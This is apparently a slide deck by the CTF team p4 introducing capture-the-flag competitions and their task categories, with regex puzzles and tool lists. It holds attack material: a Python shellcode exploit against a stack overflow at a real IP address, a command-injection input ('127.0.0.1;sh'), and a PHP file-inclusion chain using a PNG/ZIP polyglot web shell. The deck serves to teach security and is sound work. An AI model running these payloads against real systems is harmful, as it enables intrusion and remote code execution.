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$ whois p4

· A group of friends working in  software  engineering and it  
security

· 7-8 active players

· Expertise  in  RE, PWN, Crypto, Web, PPC, Forensics

· P4 @ ctftim e .org

· Writeups: h ttps://github .com /p4-team /ctf

· Twitte r: @p4_team

2/91

https://ctftime.org/team/5152
https://github.com/p4-team/ctf
https://twitter.com/p4_team


Sham eless autoprom otion
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Is top 5 a big deal?

In  rea lity the re  a re  150-1500 team s p laying in each   
com petition
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Agenda

· What is th is a ll about?

· What kind  of tasks a re the re?

· CTF league

· How to sta rt?

· Q & A
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Agenda - task categories

· RE - Reverse Engineering

· We b  - Web security

· Cryp to  - Cryptography and cryptana lysis

· Pwn  - Binary Exploita tion

· Fore nsics  - Com pute r forensics

· Ste gano  - Steganography

· PPC - Professiona l Program m ing Challenges

· Misc - Anyth ing e lse
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What is CTF?



What is CTF?

Afte r ctftim e .org:

TL;DR: Com petitions for IT security enthusiasts"
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https://ctftime.org/


CTFs type

· jeopardy

· a ttack defence

- free  for a ll

- king of the hill
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Category: Reverse Engineering
cm p flag, 0x1337



General pa tte rn

Read som e input, pe rform  opera tions on  it and  if the  resu lt is  
correct re turn the flag.

int main() {

char *input = read_input();  

if (verify(input)) {

puts("good");  

puts(decrypt(input, flag));

} else {

puts("bad");

}

}

C
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Trivia l exam ple

Goal: find  the  righ t password

╭─msm@europa /home/msm/tmp

╰─$ ./challenge  

Password: test  

fail

╭─msm@europa /home/msm/tmp

╰─$ ./challenge  
Password: niebieski7  

fail
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Disassem bly analysis in IDAPro

Password is read using scanf and com pared with the flag
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Decom pilation

· He lp  with  RE even  if som eone  doesn 't know assem bly

· Speed  up  the analysis

· Hexrays Decom pile r, Re targe tab le  Decom pile r, Snowm an,  
Hopper

· Fernflower, ILSpy, uncom pyle
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Trivia l exam ple

In  rea l CTF tasks it 's  harder, bu t the  pa tte rn  is often sim ila r

The flag m ost like ly won't be stored as pla in text

<master*>
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╭─msm@europa /home/msm/tmp

╰─$ ./challenge

Password: flag{secretpassword}  

good



Different examples

· custom VM

· keygen

· ransom ware

· com plex anti-debugging/an ti-d isasm

· exotic arch itecture

· trace analysis
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How to?

· sta tic code  ana lysis (d isasm , decom pila tion)

· dynam ic code  ana lysis (debugger)

· behaviora l ana lysis (p trace , strace , ltrace , p rocess m onitor)
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Category: PWN (binaryexploita tion)
execve("/bin/pwn")



Patte rn

Usually x86/x64 ELF (ra re ly Windows PE)

· find vulnerabilitie s

· use  them  to execute  a rb itra ry code

· prepare  the exploit

· run  on  the  ta rge t se rver
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Exam ple vulnerabilities
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· buffer/stack/heap overflow

· use  a fte r free , double  free , dangling poin te rs

· em pty string form at



Obstacles

· canary (stack protector)

· DEP / NX (da ta  execution prevention)

· ASLR (adress space  layout random iza tion)

· se linux, grsecurity, seccom p, sandboxes

21/91



Exploita tion m ethods

· she llcod ing, nopsled

· re turn  orien ted  program m ing, re t to libc

· partia l-overwrite

· got p lt substitu tion
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Pop quiz1

Is th is code safe?

int main(int argc, const char**argv)

{

char buffer[1024] ={};  

strcpy(buffer, "ping ");  

printf("Which IP to ping?\n");  

scanf("%1023s", buffer+5);  

system(buffer);

return 0;

}

C
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Pop quiz1

Is th is code safe?

What if the  input is 127.0.0.1;sh?

int main(int argc, const char**argv)

{

char buffer[1024] ={};  

strcpy(buffer, "ping ");  

printf("Which IP to ping?\n");  

scanf("%1023s", buffer+5);  

system(buffer);

return 0;

}

C
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Pop quiz2

Is th is code safe?

int main(int argc, const char**argv)

{

char buffer[1024];  

printf("What is your name?\n")  

scanf("%s", buffer);

printf("Hello! ")  

printf(buffer)  

return 0;

}

C
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Pop quiz2

Is th is code safe?

int main(int argc, const char**argv)

{

char buffer[1024];  

printf("What is your name?\n")  

scanf("%s", buffer);

printf("Hello! ")  

printf(buffer)  

return 0;

}

C

· stack buffer overflow -> ROP, she llcod ing

· m issing string form at -> infoleak

· m issing string form at -> ROP
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Exam ple

Classic stack bufferoverflow with sta tic stack canary

int cdecl main(int argc, const char **argv, const char **envp)

{

char buffer[128]; // [sp+18h] [bp‐88h]@1  

double canary; // [sp+98h] [bp‐8h]@1

canary = 64.33333;

setvbuf(stdout, 0, 2, 0);  

printf("Buff: %p\n", buffer);

isoc99_scanf("%s", buffer);  

if ( 64.33333 !=canary )

{

puts("Nope");  

exit(1);

}

return printf(str, buffer);

}

C
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Exam ple exploit

import socket

s = socket.socket()  

s.connect(('54.173.98.115', 1259))

buf_addr = s.recv(17)[8:16]  

s.send('31c0b03001c430c050682f2f7368682f62696e89e389c1b0b0c0e804cd80c0e803cd80

'

.decode('hex').ljust(128, 'a')) # shellcode: execve /bin/sh  

s.send('a5315a4755155040'.decode('hex')) # stack guard  

s.send('aaaaaaaaaaaa') # padding  

s.send(buf_addr.decode('hex')[::‐1]) # ret: buffer address  

s.send('\n')

print (s.recv(9999))

s.send('cat flag\n')

print (s.recv(9999))

s.close()

C
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RE/PWN tools

· IDA Pro

· gdb

· Binary Ninja

· Radare2

· x64dbg

· Pwntools
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IDAPro

Best sta tic code  ana lysis tool ava ilab le
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Gdb

Works everywhere  on everyth ing
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Binary Ninja

New tool, strongly prom oted  on CTFs
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Radare2

Tool for console lovers.

"Vim  for reverse engineering".
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x64dbg

Probably the  best, free  Windows debugger ava ilab le .
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pwntools
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Category: Web
Web' OR 1=1--



Category: Web

Applica tions m ostly written in :

· PHP

· Python

· Ruby

· JavaScrip t (node .js)
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Attack vectors

· (no)SQLin jection

· XSS, CSRF

· pa th traversa l

· file inclusion

· dese ria liza tion  (unserialize, unpickle, XMLDecoder, 

readObject)
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Exam ple

Webpage  a llows to  upload/ed it .png icons

Naviga tion : index.php?op=hom e

What if it executes include($_GET['op'] . '.php')?  

Step  1. Download  sources via  php  base64 filte r

?op=php://filter/read=convert.base64‐encode/resource=home
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Exam ple

Step  2. Applica tion analysis

· any uploaded  icon  will have  .png extension

· we  can  upload  only va lid p icture

· a ll m e tada ta  rem oved (no sm uggling da ta  in exif)

· we  can  control color pa le tte  and  p ixe ls from  online editor

But th is will still be  only a p icture .
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Exam ple

PHP has a lso ZIP filte r

Le t 's crea te  a  PNG, which  is a lso a  va lid  ZIP, with PHP-she ll  
inside ...

What?

504B0304140000000800EE769148F0D042901D000000210000000500
0000732E706870B3B12FC82850508977770D89564F548FD5803293D4
6335ADEDED78B900504B01021400140000000800EE769148F0D04290
1D00000021000000050000000000000001002000000029000000732E
706870504B0506000000000100010033000000690000000000
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Exam ple

http://pixelshop.pwning.xxx/?a=system&b=ls /&op=zip://uploads/  

847cf5ebb78615e61ab646189e3ffbff138801ad.png%23s

42/91

http://pixelshop.pwning.xxx/?a=system&amp;b=ls


Tools

· Web browser (inspector/firebug)

· Burp (repea te r)

· Fiddle r(Wireshark)

· Python (requests)

Autom atic scanners (sq lm ap, w3af, d irbuste r) a re forb idden   
and  usua lly use less.
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Category: Crypto
pow(long_to_bytes('crypto'), e , n)



Patte rn

Task is a lways the  sam e - we  ge t an  encrypted  flag and we
need  to  decrypt it.

To m ake  it possib le  we  m ight ge t som e he lp :

· m ore  encrypted data

· encryption a lgorithm

· access to  encryption/decryption service
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What can be broken?
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· im properly used  RSA can  be  broken  in  100 d iffe ren t ways 

im properly used  AES can  be  broken  in  10 d iffe ren t ways

· im proper use  of cryptography libraries m akes them   
vulnerable

· im properly im plem ented  encryption  a lgorithm  is often   
vu lnerable

You can  see  a  pa tte rn here .



Som e selected RSA a ttacks

· Com m on m odulus

· Hastad  Broadcast Attack

· Pa tria l Key Exposure  (25% of LSB to break)

· Wiener a ttack (la rge e)

· Blinding a ttacks on  hom om orphic RSA

· Fault a ttacks

· Power ana lysis side  channe l a ttacks
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Exam ple: power analysis

def square_and_multiply(base, exponent, modulus):  

result = 1

for bit in to_binary(exponent):  

square = result * result  

if bit == 0:

result = square % modulus  

else:

result = (square * base) % modulus  

return result

PYTHON
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Pop quiz

How m any b its your AES encryption  key should  have? 32? 64?  
96?
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Pop quiz

How m any b its your RSA m odulus should  have? Is 128 still  
sa fe  as for AES? Do we  need  m ore , eg. 256?
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Tools:

· Shee t of paper

· scholar.google .com

· Python, sage
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Category: Forensics



Task types

· Post-a ttack ana lysis of VM im ages

· Broken  d isk im ages /  da ta recovery

· Network forensics (pcap analysis)

· m em ory dum p analysis
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Tools

· wireshark, ne twork m iner

· b inwalk, find  / grep

· vola tility, m im ekatz
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Category: Stegano
everyone hates stegano...



Stegano

Data  h idden  in  graphic, video, audio ฀les.

· som e can  be  trivia lly solved  with  au tom atic tools like   
stegsolve  (eg. LSB)

· som e require  a  lot of guessing

· som e require  understanding ce rta in  da ta form ats
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Exam ple

Data  h idden  in  audio ฀le:

Can be  uncovered  with  spectra l ana lysis
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Tools

· stegsolve

· steghide

· xxd , hexdum p

· Python

· Audacity

· b inwalk

· experience
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Category: Misc
sometimes good, sometimes bad



Task types

Misc tasks a re ... m isce llaneous.

· Recon (googling, doxing, cybersta lking).

· Trivia  (On Windows, loading a library and having it's  

code run in another process is called _).

· Hardware  (eg. from  a  photo or video).

· Unusual program m ing languages

· Golfing, ja il e scapes

· "They m ust be  joking..." type  of tasks
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Exam ple: Pie t language
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Exam ple: regex lovers from Taiwan

Task: write  a  few regular expressions m atching given input  
(with  strong constra in ts on  regex length)

Answer:

Sim ple?

Please match string that contains "select" as a case insensitive subsequence.

(?i)s.*e.*l.*e.*c.*t
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Exam ple: regex lovers from Taiwan lvl 2

Strings like aabb, aaaabbbb (equal num ber of a and b)

During automata and formal languages classes we  learn  tha t  
you  can 't m ake  regex like  tha t.

a^nb^n

Yes, we know it is a classical example of context free grammer.

^(a\g<1>?b)$
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Exam ple: regex lovers from Taiwan lvl 3

String length  has to  be  a  prim e num ber

Answer:

x^p

A prime is a natural number greater than 1 that has no positive divisors other than 1 and itself.

^(?!(xx+)\1+$)xx+$
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Exam ple: regex lovers from Taiwan lvl 4

String has to  be  a pa lindrom e

Answer:

Palindrome

Both "QQ" and "TAT" are palindromes, but "PPAP" is not.

^((.)\g<1>?\2|.?)$
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Exam ple: regex lovers from Taiwan lvl 5

Strings like  abc, aaabbbccc, e tc (equal num ber of a, b and c).

Answer:

a^nb^nc^n

Is CFG too easy for you? How about some context SENSITIVE grammer?

^(?=(a\g<1>?b)c)a+(b\g<2>?c)$
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And so on. . lvl 7

Regex m atching only leap years:

(?!^0\d)(^\d*((((^|0|[2468])[048])|[13579][26])00$)|^\d*((0[48]|(^0*|[2468
])[048]|[13579][26]))$)
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But wait, there 's m ore , lvl 8

Regex m atching m ultip les of num ber 42 (O_o)

^(?=^‐?(\d*[02468])$)(?=^‐?((?!$)(?>(|(?<Y>[147]\g<X>|[0369]\g<Y>|[258]\g
<Z>))(|(?<Z>[258]\g<X>|[147]\g<Y>|[0369]\g<Z>)))(?<X>[0369]\g<X>|[258]\g<

Y>|[147]\g<Z>|$))$)(?=^‐?((?!$)(?>(|(?<B>4\g<A>|5\g<B>|6\g<C>|[07]\g<D>|[
18]\g<E>|[29]\g<F>|3\g<G>))(|(?<C>[18]\g<A>|[29]\g<B>|3\g<C>|4\g<D>|5\g<E
>|6\g<F>|[07]\g<G>))(|(?<D>5\g<A>|6\g<B>|[07]\g<C>|[18]\g<D>|[29]\g<E>|3\
g<F>|4\g<G>))(|(?<E>[29]\g<A>|3\g<B>|4\g<C>|5\g<D>|6\g<E>|[07]\g<F>|[18]\
g<G>))(|(?<F>6\g<A>|[07]\g<B>|[18]\g<C>|[29]\g<D>|3\g<E>|4\g<F>|5\g<G>))(
|(?<G>3\g<A>|4\g<B>|5\g<C>|6\g<D>|[07]\g<E>|[18]\g<F>|[29]\g<G>)))(?<A>$|
[07]\g<A>|[18]\g<B>|[29]\g<C>|3\g<D>|4\g<E>|5\g<F>|6\g<G>))$)‐?(0|[1‐9]\d
*)$

68/91



Sum m ary

Learn  strange  new th ings, you  would  norm ally never even   
th ink of.
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Category: PPC
PPC is good, because other teams are bad



Category: PPC

Som e tasks a re  Top Coder like :

tl;dr use matrixes with fastpow to get the desired results in O(logn) time

And som e require  to  m ake  m ore  com plex software :

· bots for gam es (m aze , bot fights)

· cap tcha  solvers (im age , audio)

· logica l gam es solvers (sudoku, nonogram s, jigsaw puzzles)
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Tools

· Python , C
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CTFleague



Insom niHack 2016 (Geneva)
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Hitcon Finals 2016 (Taipei)
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TrendMicro Finals 2016(Tokyo)
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